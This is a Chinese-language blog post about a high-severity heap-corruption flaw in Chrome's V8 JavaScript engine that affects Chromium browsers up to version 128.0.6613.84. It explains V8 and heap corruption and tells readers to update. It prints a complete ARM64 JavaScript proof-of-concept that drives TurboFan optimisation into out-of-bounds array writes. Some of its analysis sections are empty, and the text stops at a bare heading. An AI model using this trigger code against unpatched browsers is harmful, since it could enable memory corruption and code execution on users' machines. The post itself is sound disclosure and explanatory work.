• 作者:老汪软件技巧
  • 发表时间:2024-09-25 07:00
  • 浏览量:

近期,Chrome 又爆出了一个惊天漏洞,其内部的 JavaScript 引擎 V8 存在不恰当的实现让远程攻击者可以通过精心设计的 HTML 页面对堆损坏进行潜在的攻击。

前置知识

V8 引擎是 Google 开发的开源 JavaScript 引擎,最初是为 Chrome 浏览器设计的,现在也被 Node.js 和许多其他项目广泛使用。值得注意的是,从 2020 年开始,Edge 浏览器转而使用了 Chromium 项目,这意味着现在的 Microsoft Edge 浏览器确实使用 V8 引擎来执行 JavaScript 代码,与 Google Chrome 浏览器相同。

堆损坏(Heap Corruption)是一种常见的内存错误,发生在程序错误地操作堆内存时。堆是动态内存分配的区域,程序在运行时可以从堆中分配或释放内存。如果程序不正确地处理这些操作,就可能导致堆损坏。攻击者可能利用堆损坏来执行任意代码,这是许多安全攻击的基础。

漏洞信息漏洞名称Google Chrome 安全漏洞威胁等级高

影响产品

Chromium(Edge、Chrome等)

影响版本

小于等于128.0.6613.84

发现网站漏洞__浏览器漏洞原理

该漏洞已经在新版本的 Chrome 和 Edge 修复,可以更新至最新版本预防该威胁。

漏洞分析

以下是为 ARM64 设备设计的漏洞利用原型,用于触发该漏洞:

var arrx = new Array(150);
arrx[0] = 1.1;
var fake = new Uint32Array(10);
fake[0]= 1;
fake[1] =3;
fake[2]=2;
fake[3] = 4;
fake[4] = 5;
fake[5] = 6;
fake[6] = 7;
fake[7] = 8;
fake[8] = 9;
var tahir = 0x1;
function poc(a) {
  var oob_array = new Array(5);
  oob_array[0] = 0x500;
  let just_a_variable = fake[0];
  let another_variable3 = fake[7];
  if(a % 7 == 0)
    another_variable3 = 0xff00000000; //spray high bytes
  another_variable3 = Math.max(another_variable3,tahir);
  another_variable3 = another_variable3 >>> 0;
  var index = fake[3];
  var for_phi_modes = fake[6];
  let c = fake[1];
  //giant loop for generate cyclic graph
  for(var i =0;i<10;i++) {
    if( a % 3 == 0){
      just_a_variable = c;
    }
    if( a % 37 == 0) {
      just_a_variable = fake[2];
    }
    if( a % 11 == 0){
      just_a_variable = fake[8];
    }
    if( a % 17 == 0){
      just_a_variable = fake[5];
    }
    if( a % 19 == 0){
      just_a_variable = fake[4];
    }
    if( a % 7 == 0 && i>=5){
      for_phi_modes = just_a_variable;
      just_a_variable = another_variable3;
    }
    if(i>=6){
      for(let j=0;j<5;j++){
        if(a % 5 == 0) {
          index = for_phi_modes;
          oob_array[index] = 0x500; //zero extends before getting value
        }
      }
    }
    for_phi_modes = c;
    c = just_a_variable;
  }
  //zero extend
  return [index,BigInt(just_a_variable)];
}
for(let i = 2; i<0x500;i++) {
  poc(i); //compile using turbofan
}
poc(7*5);

通过复杂的数组操作和循环逻辑,企图达到越界访问或者修改内存的目的,从而可能实现任意代码执行。脚本的核心部分是利用 TurboFan 编译器优化的特性,通过特定的数据操作来破坏内存结构。

代码分析

首先代码对如下几个变量进行了初始化,分别为:

然后就是函数部分,包含了复杂的逻辑和条件判断,主要用于操作和修改 oob_array 和 fake 数组的元素。主要有以下几点信息:

最后就是通过多次调用 poc 函数,并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中,编译器可能未能处理好边界条件,导致安全问题。

关键点